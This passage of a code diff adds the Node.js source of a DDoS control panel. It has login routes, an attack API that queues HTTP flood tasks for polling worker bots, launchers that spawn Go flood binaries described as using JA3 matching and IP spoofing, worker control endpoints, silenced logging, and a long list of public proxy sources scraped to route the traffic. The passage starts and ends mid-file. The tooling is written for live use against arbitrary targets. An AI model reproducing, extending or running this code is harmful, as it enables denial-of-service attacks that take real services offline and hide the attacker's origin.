+ sock.on('timeout', () => { sock.destroy(); deadCount++; resolve(false); });
743
+ });
744
+ }));
745
+ if (deadCount > sampleSize / 2) {
746
+ workerDebugLog("proxy", `Scheduled cleanup: ${deadCount}/${sampleSize} sample dead`);
747
+ const live = [];
748
+ await Promise.all(allProxies.map(async (proxy) => {
749
+ return new Promise((resolve) => {
750
+ const [h, p] = proxy.split(':');
751
+ const sock = net.createConnection({ host: h, port: parseInt(p) || 8080, timeout: 3000 }, () => {
752
+ sock.destroy();
753
+ live.push(proxy);
754
+ resolve();
755
+ });
756
+ sock.on('error', () => resolve());
757
+ sock.on('timeout', () => { sock.destroy(); resolve(); });
758
+ });
759
+ }));
760
+ if (live.length > 0) {
761
+ // Dedup before save
762
+ const seen = {};
763
+ const deduped = [];
764
+ for (const p of live) {
765
+ if (!seen[p]) { seen[p] = true; deduped.push(p); }
766
+ }
767
+ fs.writeFileSync(proxyFilePath, deduped.join('\n') + '\n');
768
+ workerDebugLog("proxy", `Cleanup: ${deduped.length} saved (${allProxies.length - deduped.length} dead/dupes removed)`);
769
+ }
770
+ }
771
+ } catch (_) {}
772
+ }, 30 * 60 * 1000).unref(); // Every 30 minutes
773
+ }
774
+
775
+ function fetchProxyList() {
776
+ return new Promise((resolve) => {
777
+ const u = new URL("/api/worker/proxies", panelUrl);
778
+ const isHttps = u.protocol === "https:";
779
+ const mod = isHttps ? https : http;
780
+ const opts = {
781
+ hostname: u.hostname, port: u.port || (isHttps ? 443 : 80),
782
+ path: u.pathname, method: "GET",
783
+ headers: { "Authorization": "Bearer " + WORKER_SECRET },
784
+ timeout: 10000
785
+ };
786
+ const req = mod.request(opts, (res) => {
787
+ let body = "";
788
+ res.on("data", c => { body += c; });
789
+ res.on("end", () => {
790
+ try { resolve({ ok: res.statusCode < 400, ...JSON.parse(body) }); }
791
+ catch { resolve({ ok: false, proxies: [], hash: "", count: 0 }); }
792
+ });
793
+ });
794
+ req.on("timeout", () => { req.destroy(); resolve({ ok: false, proxies: [], hash: "", count: 0 }); });
795
+ req.on("error", () => resolve({ ok: false, proxies: [], hash: "", count: 0 }));
796
+ req.end();
797
+ });
798
+ }
799
+
800
+ pollLoop();
801
+ }
802
+
803
+ function startWebPanel(portOverride) {
804
+ const express = require("express");
805
+ const path = require("path");
806
+ const fs = require("fs");
807
+ const os = require("os");
808
+ const crypto = require("crypto");
809
+ const { spawn } = require("child_process");
810
+ const https = require("https");
811
+ const http = require("http");
812
+
813
+ const WEB_PORT = portOverride || parseInt(process.env.WEB_PORT) || parseInt(process.env.PORT) || CONFIG.port || 8080;
814
+ const WEB_USER = process.env.WEB_USER || CONFIG.webUser || "admin";
815
+ const WEB_PASS = process.env.WEB_PASS || CONFIG.webPass || "admin123";
816
+ const LIB_DIR = path.join(__dirname, "lib/cache");
817
+ const PROXY_FILE = path.join(__dirname, "proxy.txt");
818
+ const HISTORY_FILE = path.join(__dirname, "history.json");
819
+ const WORKER_SECRET = CONFIG.workerSecret;
820
+
821
+ // ─── Helpers ──────────────────────────────────────────────
822
+ // Real-time CPU delta sampler
823
+ let _lastCpu = null, _cpuPercent = '0.0';
824
+ function _sampleCpu() {
825
+ const cpus = os.cpus();
826
+ const now = cpus.map(c => ({ ...c.times }));
827
+ if (_lastCpu) {
828
+ const deltas = now.map((curr, i) => {
829
+ const prev = _lastCpu[i];
830
+ const idle = curr.idle - prev.idle;
831
+ const total = Object.keys(curr).reduce((s, k) => s + curr[k] - (prev[k] || 0), 0);
832
+ return total === 0 ? 0 : (1 - idle / total) * 100;
833
+ });
834
+ _cpuPercent = (deltas.reduce((a, b) => a + b, 0) / deltas.length).toFixed(1);
835
+ }
836
+ _lastCpu = now;
837
+ }
838
+ setInterval(_sampleCpu, 1000).unref();
839
+ _sampleCpu();
840
+
841
+ function getPublicIP() {
842
+ return new Promise((resolve) => {
843
+ const req = https.get("https://api.ipify.org?format=json", { timeout: 5000 }, (res) => {
844
+ let body = "";
845
+ res.on("data", c => { body += c; });
846
+ res.on("end", () => { try { resolve(JSON.parse(body).ip); } catch (_) { resolve(null); } });
847
+ });
848
+ req.on("error", () => resolve(null));
849
+ req.on("timeout", () => { req.destroy(); resolve(null); });
850
+ });
851
+ }
852
+
853
+ // ─── Session Auth ────────────────────────────────────────
854
+ const sessions = new Map();
855
+ const SESSION_TTL = 24 * 60 * 60 * 1000;
856
+ function createSession(username) { const token = crypto.randomBytes(32).toString("hex"); sessions.set(token, { username, createdAt: Date.now() }); return token; }
857
+ function validateSession(token) { if (!token) return null; const session = sessions.get(token); if (!session) return null; if (Date.now() - session.createdAt > SESSION_TTL) { sessions.delete(token); return null; } return session; }
858
+ function deleteSession(token) { sessions.delete(token); }
859
+ setInterval(() => { const now = Date.now(); for (const [token, session] of sessions.entries()) { if (now - session.createdAt > SESSION_TTL) sessions.delete(token); } }, 60 * 60 * 1000);
860
+
861
+ // ─── Thread Pool ──────────────────────────────────────────
862
+ const threadPool = { activeThreads: 0, poolLimit: CONFIG.maxThreadPool, children: [],
863
+ spawn(scriptPath, args = []) {
864
+ return new Promise((resolve) => {
865
+ if (this.activeThreads >= this.poolLimit) return resolve({ success: false, error: "Thread pool full" });
866
+ this.activeThreads++;
867
+ let child;
868
+ try { child = spawn("node", [scriptPath, ...args], { detached: false, stdio: ["ignore", "pipe", "pipe"], env: { ...process.env } }); } catch (e) { this.activeThreads--; return resolve({ success: false, error: e.message }); }
869
+ this.children.push(child);
870
+ child.on("error", () => { this.activeThreads--; this.children = this.children.filter(c => c !== child); resolve({ success: false, error: "Spawn error" }); });
871
+ child.on("close", (code) => { this.activeThreads--; this.children = this.children.filter(c => c !== child); resolve({ success: code === 0, code }); });
872
+ child.unref();
873
+ });
874
+ },
875
+ spawnDetached(executor, args = []) {
876
+ return new Promise((resolve) => {
877
+ const child = spawn(executor, args, { detached: true, stdio: "ignore" });
878
+ child.unref(); this.children.push(child);
879
+ this.activeThreads++;
880
+ child.on("exit", () => { this.activeThreads = Math.max(0, this.activeThreads - 1); this.children = this.children.filter(c => c !== child); });
881
+ resolve({ pid: child.pid });
882
+ });
883
+ },
884
+ setMaxThreads(max) { this.poolLimit = Math.max(parseInt(max) || 4, 4); },
885
+ stopAll() { this.children.forEach(c => { try { if (!c.killed) c.kill("SIGTERM"); } catch {} }); this.children = []; this.activeThreads = 0; }
886
+ };
887
+
888
+ const activeAttacks = new Map();
889
+
890
+ function parseDuration(duration) {
891
+ if (!duration) return 60;
892
+ const lower = String(duration).toLowerCase();
893
+ if (["max", "unlimited", "inf"].includes(lower)) return 999999;
894
+ const match = lower.match(/^(\d+)(s|m|h|d)?$/);
895
+ if (!match) return parseInt(duration) || 60;
896
+ const v = parseInt(match[1]);
897
+ if (!match[2]) return v;
898
+ switch (match[2]) { case "m": return v * 60; case "h": return v * 3600; case "d": return v * 86400; default: return v; }
899
+ }
900
+
901
+ function getSystemInfo() {
902
+ const cpus = os.cpus();
903
+ const totalMem = os.totalmem(), freeMem = os.freemem(), usedMem = totalMem - freeMem;
904
+ return { hostname: os.hostname(), platform: os.platform(), arch: os.arch(), uptime: Math.floor(os.uptime()), cpus: cpus.length, cpuAvg: _cpuPercent, totalMem, usedMem, freeMem, memPercent: ((usedMem / totalMem) * 100).toFixed(1), loadAvg1: os.loadavg()[0].toFixed(2), loadAvg5: os.loadavg()[1].toFixed(2), loadAvg15: os.loadavg()[2].toFixed(2), nodeVersion: process.version };
905
+ }
906
+
907
+ function loadJSON(file, fallback) { try { return JSON.parse(fs.readFileSync(file, "utf8")); } catch { return fallback; } }
908
+ function saveJSON(file, data) { fs.writeFileSync(file, JSON.stringify(data, null, 2)); }
909
+ function getHistory() { return loadJSON(HISTORY_FILE, { entries: [] }).entries; }
910
+ function saveHistory(entries) { saveJSON(HISTORY_FILE, { entries }); }
911
+ function addHistoryEntry(entry) { const history = getHistory(); history.unshift({ id: Date.now(), ...entry, time: new Date().toISOString() }); if (history.length > 200) history.length = 200; saveHistory(history); }
912
+
913
+ // ─── Attack Launchers ─────────────────────────────────────
914
+ async function launchH2Go(target, port, durationSec, threads, goroutines) {
915
+ const cpuCores = os.cpus().length;
916
+ const threadCount = Math.min(parseInt(threads) || cpuCores, CONFIG.maxThreadPool);
917
+ const goroutinesNum = parseInt(goroutines) || cpuCores * 1000;
918
+ const dorBinary = path.join(LIB_DIR, "dor");
919
+ const dorGo = path.join(LIB_DIR, "dor.go");
920
+ const spawnPromises = [];
921
+ if (fs.existsSync(dorBinary)) { fs.chmodSync(dorBinary, 0o755); for (let i = 0; i < threadCount; i++) { const args = [String(target), String(port), String(durationSec), String(goroutinesNum)]; if (fs.existsSync(PROXY_FILE)) args.push(PROXY_FILE); spawnPromises.push(threadPool.spawnDetached(dorBinary, args)); } }
922
+ else if (fs.existsSync(dorGo)) { for (let i = 0; i < threadCount; i++) { const args = ["run", dorGo, String(target), String(port), String(durationSec), String(goroutinesNum)]; if (fs.existsSync(PROXY_FILE)) args.push(PROXY_FILE); spawnPromises.push(threadPool.spawnDetached("go", args)); } }
923
+ else return [{ script: "h2-go", success: false, error: "H2-GO engine not found" }];
924
+ if (spawnPromises.length > 0) await Promise.all(spawnPromises);
925
+ return [{ script: "h2-go", instances: threadCount, goroutines: goroutinesNum }];
926
+ }
927
+
928
+ async function launchH1Go(target, port, durationSec, goroutinesNum, execKey) {
929
+ const h1Bin = path.join(LIB_DIR, "h1-go");
930
+ const h1Go = path.join(LIB_DIR, "h1-go.go");
931
+ const spawnPromises = [];
932
+ // FIXED: Spawn fewer processes with more goroutines each
933
+ const cpuCores = os.cpus().length;
934
+ const processCount = Math.min(cpuCores * 2, 64); // Max 64 processes
935
+ const goroutinesPerProcess = Math.max(1, Math.ceil(goroutinesNum / processCount));
936
+
937
+ if (fs.existsSync(h1Bin)) {
938
+ fs.chmodSync(h1Bin, 0o755);
939
+ for (let i = 0; i < processCount; i++) {
940
+ const args = [String(target), String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
941
+ spawnPromises.push(spawnDetachedBinary(h1Bin, args, execKey));
942
+ }
943
+ } else if (fs.existsSync(h1Go)) {
944
+ for (let i = 0; i < processCount; i++) {
945
+ const args = ["run", h1Go, String(target), String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
946
+ spawnPromises.push(spawnDetachedBinary("go", args, execKey));
947
+ }
948
+ } else return [{ script: "h1-go", success: false, error: "H1-GO engine not found" }];
949
+ if (spawnPromises.length > 0) await Promise.all(spawnPromises);
950
+ return [{ script: "h1-go", instances: processCount, goroutinesPerProcess, totalGoroutines: processCount * goroutinesPerProcess }];
951
+ }
952
+
953
+ const methods = {
954
+ "h2-go": { label: "H2-GO", category: "Layer 7", description: "DOR — Premium HTTP flood with uTLS, JA3 matching, SO_REUSEPORT, adaptive RPS", params: ["target (host)", "port", "duration (seconds/max)", "threads", "goroutines"], defaultThreads: null, defaultGoroutines: null, launch: launchH2Go },
955
+ "h1-go": { label: "H1-GO", category: "Layer 7", description: "HTTP/1.1 high-volume flood with keep-alive, UA rotation, IP spoofing", params: ["target (url)", "duration (seconds/max)", "goroutines"], defaultThreads: null, defaultGoroutines: 5000, launch: launchH1Go }
956
+ };
957
+
958
+ // ─── Express App ──────────────────────────────────────────
959
+ const app = express();
960
+ app.use(express.json({ limit: "10mb" }));
961
+ app.use(express.urlencoded({ extended: true }));
962
+ app.use(express.static(path.join(__dirname, "public")));
963
+
964
+ function requireAuth(req, res, next) {
965
+ const token = req.headers["x-auth-token"] || req.query.token;
966
+ const session = validateSession(token);
967
+ if (!session) return res.status(401).json({ error: "Unauthorized", redirect: "/login" });
968
+ req.session = session;
969
+ next();
970
+ }
971
+
972
+ // ─── Auth Routes ──────────────────────────────────────────
973
+ app.post("/api/login", (req, res) => {
974
+ const { username, password } = req.body;
975
+ const ip = req.ip; const now = Date.now();
976
+ if (!app.loginAttempts) app.loginAttempts = new Map();
977
+ const attempts = app.loginAttempts.get(ip) || [];
978
+ const recentAttempts = attempts.filter(t => now - t < 60000);
979
+ if (recentAttempts.length >= 5) return res.status(429).json({ error: "Too many login attempts. Try again later." });
980
+ if (username === WEB_USER && password === WEB_PASS) { const token = createSession(username); app.loginAttempts.delete(ip); res.json({ status: "ok", token, username, message: "Login successful" }); }
981
+ else { recentAttempts.push(now); app.loginAttempts.set(ip, recentAttempts); res.status(401).json({ error: "Invalid username or password", remainingAttempts: Math.max(0, 5 - recentAttempts.length) }); }
982
+ });
983
+ app.post("/api/logout", (req, res) => { const token = req.headers["x-auth-token"]; if (token) deleteSession(token); res.json({ status: "ok", message: "Logged out successfully" }); });
984
+ app.get("/api/auth/me", (req, res) => { const token = req.headers["x-auth-token"] || req.query.token; const session = validateSession(token); if (!session) return res.status(401).json({ authenticated: false }); res.json({ authenticated: true, username: session.username }); });
985
+
986
+ // ─── API Routes ───────────────────────────────────────────
987
+ app.get("/api/dashboard", requireAuth, (req, res) => { const sys = getSystemInfo(); const panels = loadPanels(); const history = getHistory(); res.json({ system: sys, stats: { activeAttacks: activeAttacks.size, activeThreads: threadPool.activeThreads, workerPanels: panels.length, totalAttacks: history.length }, methods: Object.keys(methods) }); });
988
+ app.get("/api/system", requireAuth, (req, res) => res.json(getSystemInfo()));
989
+ app.get("/api/methods", requireAuth, (req, res) => { res.json({ methods: Object.entries(methods).map(([key, m]) => ({ id: key, ...m })) }); });
990
+
991
+ app.post("/api/attack", requireAuth, async (req, res) => {
992
+ const { method, target, port, duration, threads, goroutines } = req.body;
993
+ if (!method || !target || !port || !duration) return res.status(400).json({ error: "method, target, port, and duration are required" });
994
+ const m = methods[method];
995
+ if (!m) return res.status(400).json({ error: `Unknown method: ${method}` });
996
+ const dur = parseDuration(duration);
997
+ const portNum = parseInt(port);
998
+ if (portNum < 1 || portNum > 65535) return res.status(400).json({ error: "Invalid port (1-65535)" });
999
+ if (dur < 1 || dur > 999999) return res.status(400).json({ error: "Invalid duration" });
1000
+
1001
+ // ═══════════════════════════════════════════════════════
1002
+ // WEB MODE: ONLY BROADCAST TO POLLING WORKERS
1003
+ // ═══════════════════════════════════════════════════════
1004
+ const localResult = { disabled: true, message: "Web panel cannot attack locally, only broadcast to workers" };
1005
+ const attackId = Date.now().toString();
1006
+ activeAttacks.set(attackId, { method, target, port: portNum, duration: dur, threads, startTime: Date.now(), localResult });
1007
+ setTimeout(() => { activeAttacks.delete(attackId); }, (dur + 30) * 1000);
1008
+
1009
+ const panels = loadPanels();
1010
+ const workers = global.activeWorkers || {};
1011
+ const workerCount = Object.keys(workers).length;
1012
+
1013
+ if (workerCount > 0) {
1014
+ // Send to all polling workers via pendingCommands
1015
+ const cpuCores = os.cpus().length;
1016
+ const finalGoroutines = goroutines ? parseInt(goroutines) : cpuCores * 3000;
1017
+ const finalThreads = threads ? Math.min(parseInt(threads), 256) : Math.min(cpuCores * 2, 256);
1018
+ const execKey = process.env.EXEC_KEY || "夜影风暴";
1019
+
1020
+ let idx = 0;
1021
+ for (const wid of Object.keys(workers)) {
1022
+ pendingCommands.set(wid, {
1023
+ action: "attack",
1024
+ task: {
1025
+ id: attackId + "-" + wid,
1026
+ target: `${target}:${portNum}`,
1027
+ duration: String(dur),
1028
+ threads: String(finalThreads),
1029
+ method: method || "h2-go",
1030
+ goroutines: String(finalGoroutines),
1031
+ execKey
1032
+ }
1033
+ });
1034
+ idx++;
1035
+ }
1036
+
1037
+ stealthLog(`📡 Broadcasting attack to ${workerCount} polling worker(s)...`);
1038
+ addHistoryEntry({ command: method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, localResults: 0, workerResults: workerCount });
1039
+ res.json({ status: "ok", attackId, method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, local: localResult, workers: `broadcasted to ${workerCount} polling worker(s)` });
1040
+ } else if (panels.length > 0) {
1041
+ stealthLog(`📡 Broadcasting attack to ${panels.length} HTTP panel worker(s)...`);
1042
+ addHistoryEntry({ command: method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, localResults: 0, workerResults: panels.length });
1043
+ res.json({ status: "ok", attackId, method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, local: localResult, workers: `broadcasted to ${panels.length} HTTP panel worker(s)` });
1044
+ } else {
1045
+ stealthLog(`⚠️ Attack rejected — no workers available (web panel cannot attack locally)`);
1046
+ activeAttacks.delete(attackId);
1047
+ res.status(400).json({ error: "No workers available. Web panel can only broadcast attacks to workers, not execute locally." });
1048
+ }
1049
+ });
1050
+
1051
+ app.post("/api/stopall", requireAuth, async (req, res) => {
1052
+ threadPool.stopAll();
1053
+ activeAttacks.clear();
1054
+ // Stop all polling workers
1055
+ for (const wid of Object.keys(global.activeWorkers || {})) {
1056
+ pendingCommands.set(wid, { action: "stop" });
1057
+ }
1058
+ res.json({ status: "ok", message: "All attacks stopped, stop sent to polling workers" });
1059
+ });
1060
+ app.get("/api/attacks", requireAuth, (req, res) => { const attacks = []; for (const [id, a] of activeAttacks.entries()) { const elapsed = Math.floor((Date.now() - a.startTime) / 1000); attacks.push({ id, ...a, elapsed }); } res.json({ count: attacks.length, attacks }); });
1061
+
1062
+ // ─── Polling Worker API ─────────────────────────────────────
1063
+ // Workers poll this endpoint for commands (no auth needed, uses Bearer token)
1064
+ const pendingCommands = new Map(); // workerId → {action, task}
1065
+ const pollDebugLog = []; // Store last 200 poll events for debugging
1066
+ const MAX_POLL_LOG = 200;
1067
+
1068
+ // Periodic disconnect checker — only logs when worker goes offline
1069
+ const _workerOfflineNotified = new Set();
1070
+ setInterval(() => {
1071
+ if (!global.activeWorkers) return;
1072
+ const now = Date.now();
1073
+ for (const [wid, info] of Object.entries(global.activeWorkers)) {
1074
+ const offline = (now - info.lastSeen) > 15000;
1075
+ if (offline && !_workerOfflineNotified.has(wid)) {
1076
+ stealthLog(` ❌ Worker disconnected: ${wid}`);
1077
+ _workerOfflineNotified.add(wid);
1078
+ } else if (!offline && _workerOfflineNotified.has(wid)) {
1079
+ _workerOfflineNotified.delete(wid);
1080
+ }
1081
+ }
1082
+ }, 10000).unref();
1083
+
1084
+ app.post("/api/worker/poll", async (req, res) => {
1085
+ const pollTime = new Date().toISOString();
1086
+ const auth = (req.headers["authorization"] || "");
1087
+ const token = auth.startsWith("Bearer ") ? auth.slice(7) : "";
1088
+ if (token !== WORKER_SECRET) {
1089
+ const debugEntry = { time: pollTime, workerId: req.headers["x-worker-id"] || "unknown", action: "unauthorized", ip: req.ip || req.connection.remoteAddress };
1090
+ pollDebugLog.unshift(debugEntry);
1091
+ if (pollDebugLog.length > MAX_POLL_LOG) pollDebugLog.pop();
1092
+ stealthLog(` 🔍 POLL DEBUG | ${pollTime} | Worker: unknown | IP: ${req.ip || req.connection.remoteAddress} | Action: UNAUTHORIZED`);
1093
+ return res.status(401).json({ error: "Unauthorized" });
1094
+ }
1095
+
1096
+ const workerId = req.headers["x-worker-id"] || "unknown";
1097
+ const workerStatus = req.body.status || {};
1098
+ const workerTaskId = req.body.taskId || null;
1099
+
1100
+ // Register/update worker
1101
+ if (!global.activeWorkers) global.activeWorkers = {};
1102
+ const isNew = !global.activeWorkers[workerId];
1103
+ const wasOnline = isNew ? false : (Date.now() - (global.activeWorkers[workerId].lastSeen || 0)) > 15000;
1104
+
1105
+ global.activeWorkers[workerId] = {
1106
+ ...workerStatus,
1107
+ lastSeen: Date.now(),
1108
+ ip: req.ip || req.connection.remoteAddress
1109
+ };
1110
+
1111
+ // Log worker connect events (not spammy — only on status change)
1112
+ if (isNew) {
1113
+ stealthLog(` ✅ Worker connected: ${workerId} from ${req.ip || req.connection.remoteAddress}`);
1114
+ } else if (wasOnline) {
1115
+ stealthLog(` 🔄 Worker reconnected: ${workerId}`);
1116
+ }
1117
+
1118
+ // Check if worker already has a pending command
1119
+ const cmd = pendingCommands.get(workerId);
1120
+ let action = "none";
1121
+ let task = null;
1122
+ if (cmd) {
1123
+ pendingCommands.delete(workerId);
1124
+ action = cmd.action;
1125
+ task = cmd.task || null;
1126
+ }
1127
+
1128
+ // Debug log every poll
1129
+ const debugEntry = {
1130
+ time: pollTime,
1131
+ workerId,
1132
+ action,
1133
+ ip: req.ip || req.connection.remoteAddress,
1134
+ cpu: workerStatus.cpu,
1135
+ cpuCores: workerStatus.cpuCores,
1136
+ mem: workerStatus.mem,
1137
+ memTotal: workerStatus.memTotal,
1138
+ activeProcesses: workerStatus.activeProcesses,
1139
+ uptime: workerStatus.uptime,
1140
+ hasTaskId: !!workerTaskId
1141
+ };
1142
+ pollDebugLog.unshift(debugEntry);
1143
+ if (pollDebugLog.length > MAX_POLL_LOG) pollDebugLog.pop();
1144
+
1145
+ // Only log to panel console when action happens (not every poll)
1146
+ // SILENCED - no logging in worker mode
1147
+ if (action !== "none") {
1148
+ // stealthLog disabled - completely silent
1149
+ }
1150
+
1151
+ // Process worker-sent logs (if any) — COMPLETELY SILENT
1152
+ if (workerStatus.logs && Array.isArray(workerStatus.logs)) {
1153
+ // All worker logs silenced - no output
1154
+ }
1155
+
1156
+ res.json({ ok: true, action, task });
1157
+ });
1158
+
1159
+ // Debug endpoint to view poll history
1160
+ app.get("/api/workers/poll-debug", requireAuth, async (req, res) => {
1161
+ const workers = global.activeWorkers || {};
1162
+ const activeWorkers = {};
1163
+ const now = Date.now();
1164
+ for (const [wid, info] of Object.entries(workers)) {
1165
+ activeWorkers[wid] = { ...info, online: (now - info.lastSeen) < 15000 };
1166
+ }
1167
+ res.json({
1168
+ pollLog: pollDebugLog,
1169
+ activeWorkers,
1170
+ totalPolls: pollDebugLog.length
1171
+ });
1172
+ });
1173
+
1174
+ // API for panel to send commands to polling workers
1175
+ app.post("/api/workers/attack", requireAuth, async (req, res) => {
1176
+ const { target, duration, threads, method, goroutines, workerIds } = req.body;
1177
+ if (!target || !duration) return res.status(400).json({ error: "target and duration required" });
1178
+
1179
+ const cpuCores = os.cpus().length;
1180
+
1181
+ // Auto values if user didn't specify
1182
+ let finalGoroutines, finalThreads;
1183
+
1184
+ if (goroutines) {
1185
+ // User specified — use it
1186
+ finalGoroutines = parseInt(goroutines);
1187
+ } else {
1188
+ // Auto — full power
1189
+ finalGoroutines = cpuCores * 3000;
1190
+ }
1191
+
1192
+ if (threads) {
1193
+ // User specified — use it
1194
+ finalThreads = Math.min(parseInt(threads), 256);
1195
+ } else {
1196
+ // Auto — cores × 2, max 256
1197
+ finalThreads = Math.min(cpuCores * 2, 256);
1198
+ }
1199
+
1200
+ // Pass EXEC_KEY to workers so binary can spawn
1201
+ const execKey = process.env.EXEC_KEY || "夜影风暴";
1202
+
1203
+ // Auto-max all workers to full performance
1204
+ const targets = workerIds || Object.keys(global.activeWorkers || {});
1205
+ let sent = 0;
1206
+ const workerDetails = [];
1207
+
1208
+ for (const wid of targets) {
1209
+ if (global.activeWorkers && global.activeWorkers[wid]) {
1210
+ const worker = global.activeWorkers[wid];
1211
+ const workerCores = worker.cpuCores || cpuCores;
1212
+
1213
+ const task = {
1214
+ id: Date.now() + "-" + wid,
1215
+ target,
1216
+ duration: String(duration),
1217
+ threads: String(finalThreads),
1218
+ method: method || "h2-go",
1219
+ goroutines: String(finalGoroutines),
1220
+ execKey: execKey
1221
+ };
1222
+
1223
+ pendingCommands.set(wid, { action: "attack", task });
1224
+ workerDetails.push({ workerId: wid, cores: workerCores, goroutines: finalGoroutines, threads: finalThreads });
1225
+ sent++;
1226
+ }
1227
+ }
1228
+
1229
+ // Save to history
1230
+ addHistoryEntry({ method: method || "h2-go", target, duration: String(duration), threads: threads ? String(threads) : "auto", goroutines: goroutines ? String(goroutines) : "auto" });
1231
+
1232
+ res.json({
1233
+ status: "ok",
1234
+ message: `Smart-scaled command queued for ${sent} polling workers + broadcast to HTTP workers`,
1235
+ workerDetails,
1236
+ taskId: Date.now()
1237
+ });
1238
+ });
1239
+
1240
+ app.post("/api/workers/stop", requireAuth, async (req, res) => {
1241
+ const { workerIds } = req.body;
1242
+ const targets = workerIds || Object.keys(global.activeWorkers || {});
1243
+ let sent = 0;
1244
+ for (const wid of targets) {
1245
+ if (global.activeWorkers && global.activeWorkers[wid]) {
1246
+ pendingCommands.set(wid, { action: "stop" });
1247
+ sent++;
1248
+ }
1249
+ }
1250
+ res.json({ status: "ok", message: `Stop queued for ${sent} polling workers` });
1251
+ });
1252
+
1253
+ app.post("/api/workers/restart", requireAuth, async (req, res) => {
1254
+ const { workerIds } = req.body;
1255
+ const allWorkers = Object.keys(global.activeWorkers || {});
1256
+ const targets = (workerIds && workerIds.length > 0) ? workerIds : allWorkers;
1257
+ let sent = 0;
1258
+ for (const wid of targets) {
1259
+ if (global.activeWorkers && global.activeWorkers[wid]) {
1260
+ pendingCommands.set(wid, { action: "restart" });
1261
+ sent++;
1262
+ }
1263
+ }
1264
+ res.json({ status: "ok", message: `Restart queued for ${sent} polling workers` });
1265
+ });
1266
+
1267
+ app.get("/api/workers/polling", requireAuth, async (req, res) => {
1268
+ const now = Date.now();
1269
+ const workers = {};
1270
+ for (const [wid, info] of Object.entries(global.activeWorkers || {})) {
1271
+ workers[wid] = { ...info, online: (now - info.lastSeen) < 15000 };
1272
+ }
1273
+ res.json({ count: Object.keys(workers).length, workers });
1274
+ });
1275
+
1276
+ // ─── Proxy Management ─────────────────────────────────────
1277
+ const net = require("net");
1278
+ const PROXY_REGEX_P = /\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5})\b/g;
1279
+ const PROXY_FETCH_TIMEOUT = 6000;
1280
+ const PROXY_VALIDATE_TIMEOUT = 400;
1281
+ const PROXY_MAX_CONCURRENT = 2000;
1282
+
1283
+ const PLAIN_SOURCES = [
1284
+ 'https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all',
1285
+ 'https://api.proxyscrape.com/v2/?request=getproxies&protocol=https&timeout=10000&country=all&ssl=all&anonymity=all',
1286
+ 'https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all',
1287
+ 'https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&ssl=all&anonymity=all',
1288
+ 'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=http&country=all&limit=10000',
1289
+ 'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=https&country=all&limit=10000',
1290
+ 'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=socks4&country=all&limit=10000',
1291
+ 'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=socks5&country=all&limit=10000',
1292
+ 'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt',
1293
+ 'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/https.txt',
1294
+ 'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt',
1295
+ 'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt',
1296
+ 'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt',
1297
+ 'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt',
1298
+ 'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt',
1299
+ 'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt',
1300
+ 'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt',
1301
+ 'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt',
1302
+ 'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt',
1303
+ 'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/proxy.txt',
1304
+ 'https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt',
1305
+ 'https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt',
1306
+ 'https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt',
1307
+ 'https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks4.txt',
1308
+ 'https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt',
1309
+ 'https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt',
1310
+ 'https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTP_RAW.txt',
1311
+ 'https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt',
1312
+ 'https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt',
1313
+ 'https://raw.githubusercontent.com/zloi-user/hideip.me/main/http.txt',
1314
+ 'https://raw.githubusercontent.com/zloi-user/hideip.me/main/https.txt',
1315
+ 'https://raw.githubusercontent.com/zloi-user/hideip.me/main/socks4.txt',
1316
+ 'https://raw.githubusercontent.com/zloi-user/hideip.me/main/socks5.txt',
1317
+ 'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt',
1318
+ 'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/https.txt',
1319
+ 'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks4.txt',
1320
+ 'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks5.txt',
1321
+ 'https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt',
1322
+ 'https://raw.githubusercontent.com/prxchk/proxy-list/main/https.txt',
1323
+ 'https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt',
1324
+ 'https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt',
1325
